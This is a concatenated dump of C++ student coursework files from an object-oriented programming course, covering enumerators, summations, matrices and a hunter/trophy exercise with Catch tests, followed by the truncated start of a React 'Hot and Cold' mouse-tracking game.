} }; class MyOr : Summation <Trophy,bool> { private: string country; public: MyOr(const string &name) : country(name){}; bool neutral() const override { return false; } bool add(const bool &a, const bool&b) const override { return a || b; } bool func(const Trophy &e) const override { return e.malelion; } void first() override {}; bool whileCond(const Trophy &e) const override {return e.country==country; } }; void BoolEnumerator::next() { if(_end == _f.end()) return; MyOr p(_f.current().country); p.addEnumerator(&_f); p.run(); _cur=p.result(); } int main() { MyCounting p; BoolEnumerator enor("inp.txt"); p.addEnumerator(&enor); p.run(); cout << "Darab: " << p.result() << endl; return 0; } <file_sep>/assignment/01_assignment/assignment_9/gasStation.h #ifndef GASSTATION_H #define GASSTATION_H #include <vector> #include "pump.h" #include "cashDesk.h" class GasStation { public: enum error{INVALID_STATION}; GasStation(int unitPrice); ~GasStation() { for(Pump *i: _s) delete i; delete _c; } Pump* getPump(int ind); int getCash() const{return _c->purchase();}; private: std::vector<Pump*> _s; CashDesk *_c; }; #endif // GASSTATION_H <file_sep>/lessons/lesson_10_1_gardener/garden.h #pragma once #include "parcel.h" #include <vector> class Garden { protected: std::vector<Parcel*> _parcels; public: Garden(int n); std::vector<int> canHarvest(int date); void plant(int id, Plant* plant, int date){ _parcels[id]->plant(plant, date); } ~Garden(); }; <file_sep>/assignment/01_assignment/assignment_10_hunter/main.cpp #include <iostream> #include "hunter.h" using namespace std; //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { try { Hunter hunter("inp.txt"); cout<< hunter.getName() << " vadász " << hunter.MaleLionTrophiesCount() << " db oroszlánt ejtett el." << endl; } catch (Hunter::error err) { if(Hunter::WRONG_FILENAME==err) { cout << "Wrong filename!" << endl; } if(Hunter::UNEXPECTED_SPIECES==err) { cout << "Unexpected spieces!" << endl; } if(Hunter::UNEXPECTED_DATA==err) { cout << "Unexpected data!" << endl; } } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { try { Hunter hunter("inp0.txt"); CHECK(0==hunter.MaleLionTrophiesCount()); } catch (Hunter::error err) { if(Hunter::WRONG_FILENAME==err) { cout << "Wrong filename!" << endl; } if(Hunter::UNEXPECTED_SPIECES==err) { cout << "Unexpected spieces!" << endl; } if(Hunter::UNEXPECTED_DATA==err) { cout << "Unexpected data!" << endl; } } } TEST_CASE("Wrong filename error", "inp100.txt") { try { Hunter hunter("inp100.txt"); } catch (Hunter::error err) { CHECK(Hunter::WRONG_FILENAME==err); } } TEST_CASE("Unexpected spieces error", "inp1.txt") { try { Hunter hunter("inp1.txt"); } catch (Hunter::error err) { CHECK(Hunter::UNEXPECTED_SPIECES==err); } } TEST_CASE("Unexpected data error", "inp2.txt") { try { Hunter hunter("inp2.txt"); } catch (Hunter::error err) { CHECK(Hunter::UNEXPECTED_DATA==err); } } TEST_CASE("First is a lion", "inp3.txt") { try { Hunter hunter("inp3.txt"); CHECK(1==hunter.MaleLionTrophiesCount()); } catch (Hunter::error err) { if(Hunter::WRONG_FILENAME==err) { cout << "Wrong filename!" << endl; } if(Hunter::UNEXPECTED_SPIECES==err) { cout << "Unexpected spieces!" << endl; } if(Hunter::UNEXPECTED_DATA==err) { cout << "Unexpected data!" << endl; } } } TEST_CASE("Last is a lion", "inp4.txt") { try { Hunter hunter("inp4.txt"); CHECK(3==hunter.MaleLionTrophiesCount()); } catch (Hunter::error err) { if(Hunter::WRONG_FILENAME==err) { cout << "Wrong filename!" << endl; } if(Hunter::UNEXPECTED_SPIECES==err) { cout << "Unexpected spieces!" << endl; } if(Hunter::UNEXPECTED_DATA==err) { cout << "Unexpected data!" << endl; } } } TEST_CASE("Not exists male lion", "inp5.txt") { try { Hunter hunter("inp5.txt"); CHECK(0==hunter.MaleLionTrophiesCount()); } catch (Hunter::error err) { if(Hunter::WRONG_FILENAME==err) { cout << "Wrong filename!" << endl; } if(Hunter::UNEXPECTED_SPIECES==err) { cout << "Unexpected spieces!" << endl; } if(Hunter::UNEXPECTED_DATA==err) { cout << "Unexpected data!" << endl; } } } #endif <file_sep>/lessons/lesson_11/creatures/creature_visitor/ground.cpp //Author: <NAME> //Date: 2017.12.15. //Title: implementation of classes of ground types (with visitor design pattern) #include "ground.h" #include "creature.h" using namespace std; // implementation of class Sand Ground* Sand::change(Greenfinch *p) { p->changePower(-2); return this; } Ground* Sand::change(DuneBeetle *p) { p->changePower(3); return this; } Ground* Sand::change(Squelchy *p) { p->changePower(-5); return this; } // implementation of class Grass Ground* Grass::change(Greenfinch *p) { p->changePower(1); return this; } Ground* Grass::change(DuneBeetle *p) { p->changePower(-2); return new Sand; } Ground* Grass::change(Squelchy *p) { p->changePower(-2); return new Marsh; } // implementation of class Marsh Ground* Marsh::change(Greenfinch *p) { p->changePower(-1); return new Grass; } Ground* Marsh::change(DuneBeetle *p) { p->changePower(-4); return new Grass; } Ground* Marsh::change(Squelchy *p) { p->changePower(6); return this; } <file_sep>/lessons/02_lesson/lesson10_1_gardener/kertesz.cpp #include "kertesz.h" #include "kert.h" #include "parcella.h" #include <iostream> using namespace std; void Kertesz::arat(int maiDatum) { for(int i = 0; i < _kert->getDarabParcella(); ++i){ if(nullptr!=_kert->getParcella(i)->getNoveny() && maiDatum - _kert->getParcella(i)->getUltetesiDatum() == _kert->getParcella(i)->getNoveny()->getEresIdo() ) cout << i << " "; } } void Kertesz::ultet(int azon, Noveny* noveny, int datum) { _kert->getParcella(azon)->ultet(noveny, datum); } <file_sep>/lessons/02_lesson/lesson_11/creatures/creature_visitor/ground.h //Author: <NAME> //Date: 2017.12.15. //Title: classes of ground types (with visitor design pattern) #pragma once #include <string> class Greenfinch; class DuneBeetle; class Squelchy; // class of abstract grounds class Ground{ public: virtual Ground* change(Greenfinch *p) = 0; virtual Ground* change(DuneBeetle *p) = 0; virtual Ground* change(Squelchy *p) = 0; virtual ~Ground(){} }; // class of sand class Sand : public Ground { public: Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; }; // class of grass class Grass : public Ground { public: Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; }; // class of marsh class Marsh : public Ground { public: Ground* change(Greenfinch *p) override; Ground* change(DuneBeetle *p) override; Ground* change(Squelchy *p) override; }; <file_sep>/assignment/assignment_7/enor.cpp #include "enor.h" #include <iostream> using namespace std; Enor::Enor(string x) { _x.open(x); if(_x.fail()) throw FILEERROR; } void Enor::next() { if(!(_end = (abnorm==_sx))) { _curr.recipe=_dx.recipe; _curr.needsSugar=false; for(; norm==_sx && _curr.recipe==_dx.recipe; read()) { _curr.needsSugar=_curr.needsSugar || _dx.ingredient=="sugar"; } } } void Enor::read() { _sx=(_x>>_dx.recipe>>_dx.ingredient>>_dx.amount>>_dx.measure)?norm:abnorm; } <file_sep>/lessons/02_lesson/lessons_9_1/atm.h #pragma once #include "card.h" class Center; class Customer; class ATM { private: std::string _location; Center* _center; public: enum Errors { FEW_MONEY, WRONG_PIN_CODE}; ATM(std::string address, Center* c): _location(address), _center(c) {}; void process(Customer* cus) const; }; <file_sep>/lessons/lessons_9_1/account.cpp #include "account.h" bool Account::search(const std::string& cardNo) const { for( Card* card : _cards ){ if( card->_cardNo == cardNo ) return true; } return false; } <file_sep>/assignment/assignment_6/enor.h #ifndef ENOR_H #define ENOR_H #include <fstream> struct Order { std::string food; int price; }; class Enor { public: enum Errors{FILEERROR}; Enor(const std::string fname); void first(){read();next();}; void next(); Order current() const { return _act; } bool end() const{return _end;}; private: struct Temp { int number; std::string food; std::string date; int portion; int price; }; enum Status{abnorm,norm}; std::ifstream _x; Temp _dx; Status _sx; Order _act; bool _end; void read(); }; #endif // ENOR_H <file_sep>/lessons/02_lesson/lesson10_1_gardener/noveny.cpp #include "noveny.h" Burgonya* Burgonya::_peldany = nullptr; Burgonya* Burgonya::peldany() { if(nullptr==_peldany) _peldany = new Burgonya(); return _peldany; } Borso* Borso::_peldany = nullptr; Borso* Borso::peldany() { if(nullptr==_peldany) _peldany = new Borso(); return _peldany; } Hagyma* Hagyma::_peldany = nullptr; Hagyma* Hagyma::peldany() { if(nullptr==_peldany) _peldany = new Hagyma(); return _peldany; } Rozsa* Rozsa::_peldany = nullptr; Rozsa* Rozsa::peldany() { if(nullptr==_peldany) _peldany = new Rozsa(); return _peldany; } Szegfu* Szegfu::_peldany = nullptr; Szegfu* Szegfu::peldany() { if(nullptr==_peldany) _peldany = new Szegfu(); return _peldany; } Tulipan* Tulipan::_peldany = nullptr; Tulipan* Tulipan::peldany() { if(nullptr==_peldany) _peldany = new Tulipan(); return _peldany; } <file_sep>/practice/03_practice/practice_1/surface.c #include "surface.h" #include <vector> using namespace std;<file_sep>/lessons/02_lesson/lessons_9_1/card.h #pragma once #include <string> #include <vector> #include <iostream> class Card { public: std::string _bankCode; std::string _cardNo; private: std::string _pinCode; public: Card( const std::string& bank, const std::string& cardNo, const std::string& pin) : _bankCode(bank), _cardNo(cardNo), _pinCode (pin) { } void changePin(const std::string& oldpin, const std::string& pin) { if(oldpin==_pinCode) _pinCode = pin; } bool pinCheck(const std::string& pin) const { return pin == _pinCode;} }; <file_sep>/assignment/assignment_1/matrix.cpp //Author: <NAME> //Date: 2020.03.09 //Title: N matrix #include <iostream> #include "matrix.h" #include "read.hpp" using namespace std; inline bool valid(int a) { return true; } inline bool unsig_valid(unsigned a) { return true; } int Matrix::getVectorIndex (const unsigned i, const unsigned j) const { if(!(i<Matrix::getSize() && i>=0 && j<Matrix::getSize() && j>=0)) throw OVERINDEXED; if(j==0) { return i; } else if(j==Matrix::getSize()-1) { return Matrix::getSize()+i; } else if (i==j) { return 2*Matrix::getSize()+i; } return -1; } int Matrix::write( const unsigned i, const unsigned j) const { int ind = getVectorIndex(i, j); return ind>-1?_v[ind]:0; } void Matrix::setElemValue (const unsigned i, const unsigned j, int data) { int ind = Matrix::getVectorIndex(i, j); if(!(ind>-1)) throw NULLPART; _v[ind] = data; } Matrix Matrix::operator+ ( const Matrix &m) { if(Matrix::getSize()!=m.Matrix::getSize()) throw INVALID_OPERATION; Matrix sum; sum.setSize(getSize()); for(unsigned i=0; i<Matrix::getSize(); i++) { for(unsigned j=0; j<Matrix::getSize(); j++) { int ind=getVectorIndex(i,j); if(ind>-1) { sum._v[ind]=write(i,j)+m.write(i,j); } } } return sum; } Matrix Matrix::operator* ( Matrix &m) { if(Matrix::getSize()!=m.getSize()) throw INVALID_OPERATION; Matrix mult; mult.setSize(getSize()); for(unsigned i=0; i<Matrix::getSize(); i++) { for(unsigned j=0; j<Matrix::getSize(); j++) { int ind=getVectorIndex(i,j); for(unsigned k=0; k<Matrix::getSize(); k++) { if(ind>-1) { mult._v[ind]+=write(i,k)*m.write(k,j); } } } } return mult; } ostream& operator<< (ostream& s, const Matrix &m) { for(unsigned i=0; i<m.getSize() ; i++) { for(unsigned j=0; j<m.getSize() ; j++) { s<< m.write(i,j) << " "; } s<<endl; } return s; } istream& operator>> (istream& s, Matrix &m) { unsigned a; a=read<unsigned>(s,"size of matrix: ", "Type an integer!", unsig_valid); m.setSize(a); for(unsigned i=0; i<a ; i++) { for(unsigned j=0; j<a ; j++) { int ind = m.getVectorIndex(i,j); cerr << i<< " row " << j << " coloumn"; if(ind>-1) { m._v[ind]=read<int>(s, " data: ","Type an integer!", valid); } else { int c; c=read<int>(s," data: ","Type an integer!", valid); if(c!=0) throw Matrix::NULLPART; } } } return s; } <file_sep>/lessons/02_lesson/lesson_11/creatures/creature/main.cpp //Author: <NAME> //Date: 2017.12.15. //Title: competition of creatures (with design patterns) #include <iostream> #include <fstream> #include <vector> #include "creature.h" using namespace std; //Activity: Populating creatures and creating a court based on a textfile, // simulating the competition and writing the result, // destroying the dynamic objects int main() { ifstream f("inp.txt"); if(f.fail()) { cout << "Wrong file name!\n"; return 1;} // populating creatures int n; f >> n; vector<Creature*> creatures(n); for( int i=0; i<n; ++i ){ char ch; string name; int p; f >> ch >> name >> p; switch(ch){ case 'G' : creatures[i] = new Greenfinch(name, p); break; case 'D' : creatures[i] = new DuneBeetle(name, p); break; case 'S' : creatures[i] = new Squelchy(name, p); break; } } // populating courts int m; f >> m; vector<int> courts(m); for( int j=0; j<m; ++j ){ int d; f >> d; switch(d) { case 0 : courts[j] = sand; break; case 1 : courts[j] = grass; break; case 2 : courts[j] = marsh; break; } } // Competition for( int i=0; i < n; ++i ){ for( int j=0; creatures[i]->alive() && j < m; ++j ){ creatures[i]->transmute(courts[j]); } if (creatures[i]->alive() ) cout << creatures[i]->name() << endl; } // destroying creatures for(int i=0; i<n; ++i) delete creatures[i]; return 0; } <file_sep>/assignment/01_assignment/assignment_1/input.cpp //Author: <NAME> //Date: 2020.03.09 //Title: N matrix #include <iostream> #include <fstream> using namespace std; enum Errors{ WRONG_FILE_NAME }; ifstream openInputFile() ifstream openInputFile(const string &fnev) { ifstream f(fnev.c_str()); ig(f.fail()) throw WRONG_FILE_NAME; return f; } <file_sep>/lessons/02_lesson/lesson_13_lion_5/main.cpp #include <iostream> #include <sstream> #include "summation.hpp" #include "seqinfileenumerator.hpp" #include "linsearch.hpp" #include "stringstreamenumerator.hpp" #include "enumerator.hpp" using namespace std; struct Trophy { string species; int weigth; }; istream& operator>>(istream &is, Trophy &e) { is >> e.species >> e.weigth; return is; } class MyLinSearch : public LinSearch<Trophy> { protected: bool cond(const Trophy& e) const override { return e.species == "lion" ; } }; struct Hunt{ string name; bool haslion; }; istream& operator>>(istream &is, Hunt &e) { string line; getline(is, line); stringstream in(line); string year; in >> e.name >> year; MyLinSearch p; StringStreamEnumerator<Trophy> enor(in); p.addEnumerator(&enor); p.run(); e.haslion = p.found(); return is; } struct Hunter{ string name; bool haslion; }; class MyEnumerator : public Enumerator<Hunter> { private: SeqInFileEnumerator<Hunt> _f; Hunter _cur; bool _end; public: MyEnumerator(const string& fn): _f(fn) { } void first() override { _f.first(); next(); } void next() override; Hunter current() const override { return _cur; } bool end() const override { return _end; } }; class MyOr : public Summation<Hunt, bool> { private: string _name; public: MyOr(const string& str) : _name(str) {} protected: bool neutral() const override { return false; } bool add(const bool& a, const bool& b) const override { return a || b; } bool func(const Hunt& e)const override { return e.haslion; } void first() override {} bool whileCond(const Hunt& e) const override { return e.name == _name; } }; void MyEnumerator::next() { if (( _end = _f.end() )) return; _cur.name = _f.current().name; MyOr p(_cur.name); p.addEnumerator(&_f); p.run(); _cur.haslion = p.result(); } class List : public Summation<Hunter, ostream> { public: List(ostream *o) : Summation<Hunter, ostream>(o) {} protected: string func(const Hunter& e) const override { return e.name+"\n"; } bool cond(const Hunter& e) const override { return e.haslion; } }; int main(int argc, char* argv[]) { string fname = argc>1 ? argv[1] : "input.txt"; List p(&cout); MyEnumerator enor(fname); p.addEnumerator(&enor); p.run(); return 0; } <file_sep>/assignment/01_assignment/assignment_plus_2/complex.h #pragma once #include <iostream> #include <math.h> class Complex { private: double _real, _imag; public: Complex():_real(0), _imag(0) {} Complex(double a):_real(a), _imag(0) {} Complex(double a, double b):_real(a), _imag(b) {} Complex operator+(const Complex &mc)const { return Complex(_real+mc.get_real(), _imag+mc.get_imag()); } Complex operator-(const Complex &mc)const { return Complex(_real-mc.get_real(), _imag-mc.get_imag()); } Complex operator*(const Complex &mc)const { return Complex(_real*mc.get_real()-_imag*mc.get_imag(), _imag*mc.get_real()+_real*mc.get_imag()); } Complex operator/(const Complex &mc)const { double a=(_real*_imag+_imag*mc.get_imag())/(pow(mc.get_real(),2)+pow(mc.get_imag(),2)); double b=(_imag*mc.get_real()-_real*mc.get_imag())/(pow(mc.get_real(),2)+pow(mc.get_imag(),2)); return Complex(a,b) ; } void print() { std::cout<<_real<<"+"<<_imag<<"i"<<std::endl; } double get_real() const { return _real; } double get_imag() const { return _imag; } }; <file_sep>/lessons/02_lesson/lesson10_1_gardener/parcella.h #pragma once #include "noveny.h" class Parcella { protected: int _azon; Noveny* _noveny; int _ultetesiDatum; public: Parcella(int azon): _azon(azon), _noveny(nullptr), _ultetesiDatum(0) {} void ultet(Noveny* noveny, int datum) { _noveny = noveny; _ultetesiDatum = datum; } int getAzon() const { return _azon; } Noveny* getNoveny() const { return _noveny; } int getUltetesiDatum() const { return _ultetesiDatum; } }; <file_sep>/lessons/02_lesson/lesson_6_szek/enor.h #ifndef ENOR_H #define ENOR_H #include <fstream> struct Egyenleg { std::string szaml; int egy; }; class Enor { public: enum Errors {FILEERROR}; Enor(const std::string fnev); void first() { read(); next(); }; void next(); Egyenleg current() const { return _akt; }; bool end() const{return _vege;}; private: struct Tranzakcio { std::string szaml; std::string datum; int ossz; }; //lathatosagat enum Status { abnorm, norm}; std::ifstream _x; Tranzakcio _dx; Status _sx; Egyenleg _akt; bool _vege; void read(); }; #endif // ENOR_H <file_sep>/assignment/assignment_1/menu.cpp #include "menu.h" #include <iostream> #include <sstream> #include "read.hpp" #define MENU_DB 6 using namespace std; bool check(int n) { return 0<=n && n<=MENU_DB; } inline bool int_valid(int a) { return true; } inline bool unsigned_valid(unsigned a) { return true; } void Menu::run() { int v; do { v=menuWrite(); switch(v) { case 1: getElement(); break; case 2: setElement(); break; case 3: readMatrix(); break; case 4: writeMatrix(); break; case 5: sum(); break; case 6: mul(); break; } } while (v!=0); } int Menu::menuWrite() { int v; cout << endl << endl; cout << "0. - Quit" << endl; cout << "1. - Get an element of the matrix" << endl; cout << "2. - OverWrite an element of the matrix" << endl; cout << "3. - Read matrix" << endl; cout << "4. - Write matrix" << endl; cout << "5. - Add matrixes" << endl; cout << "6. - Multiply matrixes" << endl << endl; cout << "Type a number of menu!"<< endl; v=read<int>(cin,"Your choose: ", "Please type an integer from 0 to 6", check); return v; } void Menu::getElement() const { int i, j; i=read<unsigned>(cin,"row = ","Type an unsigned integer", unsigned_valid); j=read<unsigned>(cin,"coloumn = ","Type an unsigned integer", unsigned_valid); try { cout << "a["<<i<<"," <<j<<"]= " << a.write(i-1, j-1) << endl; } catch(Matrix::matrixError ex) { if (ex==Matrix::OVERINDEXED) { cout << "Overindexing!"<<endl; } else { cout << "Unhandle exception!"<<endl; } } } void Menu::setElement() { unsigned i, j; int e; i=read<unsigned>(cin,"row = ","Type an unsigned integer", unsigned_valid); j=read<unsigned>(cin,"coloumn = ","Type an unsigned integer", unsigned_valid); e=read<int>(cin,"data = ", "Type an integer",int_valid); try { a.setElemValue(i-1,j-1,e); } catch(Matrix::matrixError ex) { if (ex == Matrix::OVERINDEXED) { cout << "Overindexing!"<<endl; } else if (ex==Matrix::NULLPART) { cout << "This part must be 0! "<< endl; } else { cout << "Unhandle exception!"<<endl; } } } void Menu::readMatrix() { cerr<<"Give a number of coloumn and data of Matrix!" << endl; try { cin >>a; } catch(Matrix::matrixError ex) { if(ex==Matrix::OVERINDEXED) { cout << "Overindexed!" << endl; } else if(ex==Matrix::NULLPART) { cout << "This elem must be 0" <<endl; } else { cout << "Unhandled exception!" << endl; } } } void Menu::writeMatrix() { cout << a<< endl;; } void Menu::sum() { try { Matrix b; cerr << "Give second matrix: " << endl; cin >> b; cerr << "Sum of the matrixes" << endl; cout << "A matrix: \n"<< a << " + \n" << "b matrix: \n"<< b << " = \n Result: \n" <<a + b << endl; } catch(Matrix::matrixError ex) { if(ex==Matrix::INVALID_OPERATION) { cout << "Different sizes! " << endl; } else if (ex==Matrix::NULLPART) { cout << "This part must be 0! "<< endl; } else { cout << "Unhandled exception!" << endl; } } } void Menu::mul() { try { Matrix b; cerr << "Give the size and the items of the second matrix: "<<endl; cin >> b; cerr <<"Multiply of the matrixes: " << endl; cout << "A matrix: \n"<< a << " * " << "B matrix: \n"<< b << " = \n Result: \n" <<a * b << endl; } catch(Matrix::matrixError ex) { if(ex==Matrix::INVALID_OPERATION) { cout << "Different sizes! "<< endl; } else if (ex==Matrix::NULLPART) { cout << "This part must be 0! "<< endl; } else { cout << "Unhandled exception!" << endl; } } } <file_sep>/practice/practice_3_associative_array/menu.h #pragma once #include "associativeArray.h" class Menu { public: void run(); private: int getMenuPoint(); void setEmpty(); void count(); void insert(); void erase(); void search(); void write(); AT at; }; <file_sep>/assignment/01_assignment/assignment_plus_12_anglerChampionShip/main.cpp #include <iostream> #include <sstream> #include "summation.hpp" #include "seqinfileenumerator.hpp" #include "linsearch.hpp" #include "stringstreamenumerator.hpp" using namespace std; struct Fish { string species; int weight; }; istream& operator >>(istream &is, Fish &e) { is >> e.species >> e.weight; return is; } class MyLinSearch : public LinSearch<Fish, false> { protected: bool cond(const Fish &e) const override { return e.species.length()>0; } }; struct Angler { string name; string competetiveId; bool hascatch; }; ostream& operator <<(ostream &os,const Angler &e) { cout << " nev: " << e.name << " verseny: " << e.competetiveId; return os; } istream& operator >>(istream &is, Angler &e) { string line; getline(is, line); stringstream in(line); in>>e.name>>e.competetiveId; MyLinSearch p; StringStreamEnumerator<Fish> enor(in); p.addEnumerator(&enor); p.run(); e.hascatch = p.found(); return is; } class UnluckySearch : public LinSearch<Angler> { protected: bool cond(const Angler &e) const override { return e.hascatch==false; } }; int main(int argc, char* argv[]) { string fname = argc>1 ? argv[1] : "input.txt"; UnluckySearch p; SeqInFileEnumerator<Angler> enor(fname); p.addEnumerator(&enor); p.run(); cout << p.elem() << endl; return 0; } <file_sep>/assignment/assignment_6/main.cpp #include <iostream> #include <fstream> #include "enor.h" using namespace std; //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { try { Enor orderList("input.txt"); Order max; for(orderList.first(); !orderList.end(); orderList.next()) { if(orderList.current().price>max.price) { max=orderList.current(); } } cout << "The winner food name: "<< max.food << endl; } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { try { Enor orderList("inp0.txt"); Order max; int c=0; for(orderList.first(); !orderList.end(); orderList.next()) { c++; } CHECK(0==c); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first", "inp1.txt") { try { Enor orderList("inp1.txt"); Order max; for(orderList.first(); !orderList.end(); orderList.next()) { if(orderList.current().price>max.price) { max=orderList.current(); } } CHECK(max.food.compare("A")); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("second", "inp2.txt") { try { Enor orderList("inp2.txt"); Order max; for(orderList.first(); !orderList.end(); orderList.next()) { if(orderList.current().price>max.price) { max=orderList.current(); } } CHECK(max.food.compare("C")); } catch(Enor::Errors err) { if(err==Enor::FILEERROR) { cout << "Wrong filename!"; } } } TEST_CASE("exception", "inp3.txt") { try { Enor orderList("inp3.txt"); Order max; for(orderList.first(); !orderList.end(); orderList.next()) { if(orderList.current().price>max.price) { max=orderList.current(); } } } catch(Enor::Errors err) { CHECK(err==Enor::FILEERROR); } } #endif <file_sep>/lessons/02_lesson/lesson_4/kaktusz0/main.cpp #include <iostream> #include <fstream> using namespace std; int main() { bool err=false; ifstream x("inp.txt"); if(x.fail()) { cout << "Rossz fajlnev!\n"; err=true; } ofstream y("outpiros.txt"); if(y.fail()) { cout << "Rossz fajlnev!\n"; err=true; } ofstream z("outmexico.txt");if(z.fail()) { cout << "Rossz fajlnev!\n"; err=true; } if(err) return 1; string nev, os, szin; while(x >> nev >> os >> szin){ if( "piros" == szin) y << nev << endl; if( "mexico"== os) z << nev << endl; } return 0; } <file_sep>/assignment/01_assignment/assignment_1/menu.h #pragma once #include "matrix.h" class Menu { public: void run(); private: Matrix a; int menuWrite(); void getElement() const; void setElement(); void readMatrix(); void writeMatrix(); void sum(); void mul(); }; <file_sep>/practice/practice_01_max_lin_search/main.cpp #include <iostream> #include "library/maxsearch.hpp" #include "library/linsearch.hpp" #include "library/seqinfileenumerator.hpp" #include "library/stringstreamenumerator.hpp" using namespace std; struct Data { string date; int weigth; int distance; }; istream& operator>>(istream& is, Data &e) { is >> e.date >> e.weigth >> e.distance; cout << " date: " << e.date << " weight: " << e.weigth << " distance: " << e.distance; return is; } class MyLinSearch : public LinSearch<Data> { protected: bool cond(const Data& e) const override { return e.distance<3; } }; struct BlackHole { string name; int weigth; bool isCLosed; }; istream& operator>>(istream& is, BlackHole &e) { string line; getline(is, line); stringstream in(line); in >> e.name; cout << "name: " << e.name; MyLinSearch p; StringStreamEnumerator<Data> enor(in); p.addEnumerator(&enor); p.run(); e.isCLosed = p.found(); e.weigth = p.elem().weigth; cout << " is closed " << e.isCLosed << endl; return is; } class myMaxSearch : public MaxSearch <BlackHole, int> { protected: int func(const BlackHole& e) const override { return e.weigth; } bool cond(const BlackHole &e) const override { return e.isCLosed; } }; int main(int argc, char* argv[]) { string fname = argc>1 ? argv[1] : "input.txt"; myMaxSearch p; SeqInFileEnumerator<BlackHole> enor(fname); p.addEnumerator(&enor); p.run(); cout << p.optElem().name<< endl; return 0; } <file_sep>/lessons/lesson_7/main.cpp #include <iostream> #include "enor.h" using namespace std; int main() { Enor t("inp.txt"); bool l = true; for(t.first(); l && !t.end(); t.next() ) { l=t.current(); } cout << (l?"Mindenki lott medvet" : "Nem lott mindenki medvet.") << endl; return 0; } <file_sep>/lessons/02_lesson/lesson10_2_filesystem/filesystem.h #pragma once #include <vector> class Registration { public: virtual int getSize() const = 0; virtual ~Registration(){} }; class File : public Registration { public: File(int s) : _size(s) {}; void setSize(int s) { _size = s; } int getSize() const override { return _size;} protected: int _size; }; class Folder : public Registration { public: ~Folder() { for( Registration *f : _content ) delete f; } void add(Registration* r) { _content.push_back(r); } int getSize() const override { int sum = 0; for(Registration* r : _content){ sum += r->getSize(); } return sum; } protected: std::vector<Registration*> _content; }; class FileSystem { public: Folder root; }; <file_sep>/assignment/assignment_2/contest.h #ifndef CONTEST_H #define CONTEST_H #include "angler.h" struct contest { std::string contestId; bool isCatfish; bool isNotCatfish; friend std::ostream& operator<<(std::ostream& s, const contest& e) { s << " Verseny: " << e.contestId <<std::endl; return s; } }; class Contest { public: Contest(std::string filename): _tt(filename) {}; void first() { _tt.next(); next(); }; void next(); contest current() { return _curr; }; bool end() { return _end; }; private: Angler _tt; std::ifstream _x; contest _curr; bool _end; }; #endif // CONTEST_H <file_sep>/lessons/lesson_2_2/polygonApp/point.h //Author: <NAME> //Date: 2017.12.15. //Title: class of point #pragma once #include <iostream> //Datatype of points on the plan class Point { public: Point(int x = 0, int y = 0): _x(x), _y(y) { } void setPoint(int x, int y) { _x = x; _y = y; } Point move(const Point &p) const { return Point(_x + p._x, _y + p._y ); } Point operator+(const Point &p) const { return Point(_x + p._x, _y + p._y);} Point operator/(int n) const { return Point(_x / n, _y / n ); } friend std::ostream& operator<<(std::ostream &o, const Point &p); public: int _x, _y; }; <file_sep>/lessons/lessons_9_2/main.cpp #include <iostream> #include "customer.h" #include "store.h" using namespace std; int main() { Customer c("customer1.txt"); Store s("foods.txt", "technical.txt"); c.purchase(s); return 0; }
c9f6f1fffb917b46bc3e7c6c488c5562abdaa7cd
[ "C", "C++" ]
102
C++
gulyassimone/ELTE-2-ObjektumelvuProgramozas
af82236a719af14b6fd61505308739dd45455df3
db0044b20eaf1146bf15ade7c3992352e72a412a
refs/heads/master
<repo_name>WarriorFromHell/2-periood-5-praktikum<file_sep>/validation.php <?php $isSubmitted = isset($_POST["submit"]); if($isSubmitted) { $username = $_POST["$username"];} if (isset($_POST["submit"])){ $username = $_POST["username"]; } if(!isset($username) || $username ==""){ $usernameMessage="Sobib" ; } else{ $usernameMessage="No ei sobi" ; } ?><file_sep>/index.php <?php require("validation.php"); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title> praks 5 </title> <body > <pre><?php print_r($_POST);?> </pre> <form action="index.php" method="post"> <div class="form_field"> <div> <?php if ($isSubmitted) {?> <div class="form_message"> <?php echo ($usernameMessage); ?> </div> <?php } ?> <span>kasutajanimi </span> <input type="text" name="username"> </div> <div class="form_field"> <input type="submit" name="saada"> </div> </body> </html>
878bc92b9a91c247391eff9f1baefcf3b7c4cdf5
[ "PHP" ]
2
PHP
WarriorFromHell/2-periood-5-praktikum
096454c02afae5c43c36a57065eab104bf9af1f5
3e386d9cd1ca9217c78280ca7cbaa837c93b1b72
refs/heads/master
<repo_name>sanjai-lap/project2<file_sep>/app.py import django import java def createapp def applestore createapp
e59507e807939973cf70d1980e41763cf9765900
[ "Python" ]
1
Python
sanjai-lap/project2
7bd42921b5586bd7936d47b638fab27ad478450a
92f1a676a3fa44bf7b92530beb3c7ad44f678af4
refs/heads/master
<repo_name>Feauv/Hot-And-Cold<file_sep>/src/App.js import React from 'react'; import './App.css'; import $ from "jquery"; class App extends React.Component { constructor(props) { super(props) this.windowOnLoad = this.windowOnLoad.bind(this) this.getPositionAtCenter = this.getPositionAtCenter.bind(this) this.getDistanceBetweenElements = this.getDistanceBetweenElements.bind(this) this.hot = 0 this.cold = 255 } componentDidMount() { // On Load Listener and Call window.addEventListener('load', this.windowOnLoad) // On Mouse Movement Listener and Function document.addEventListener('mousemove', (e) => { // Distance Calculations Call var distance = Math.round( this.getDistanceBetweenElements( document.getElementById('mouse-location'), document.getElementById('hidden') ) ) // Win condition along with Hot & Cold calculations to change the color. The circle starts changing // from blue to red once it is 510px (255 * 2) away from the hidden div. if(distance <= 10) { const yGeneration = Math.round(0 + Math.random() * (window.innerHeight - 0)) const xGeneration = Math.round(0 + Math.random() * (window.innerWidth - 0)) $('#hidden').css({ top: yGeneration, left: xGeneration, }); } else if(distance < 510) { this.setState((state, props) => { return { hot: (510 - distance)/2, cold: distance/2 }; }); } else { this.setState((state, props) => { return { hot: 0, cold: 255 }; }); } // Circle position and color change and Title heading color change. $('#mouse-location').css({ left: e.pageX - 25, top: e.pageY - 25, "background-color": "rgb(" + this.state.hot + ",0," + this.state.cold + ")" }); $('h1').css({ "color": "rgb(" + 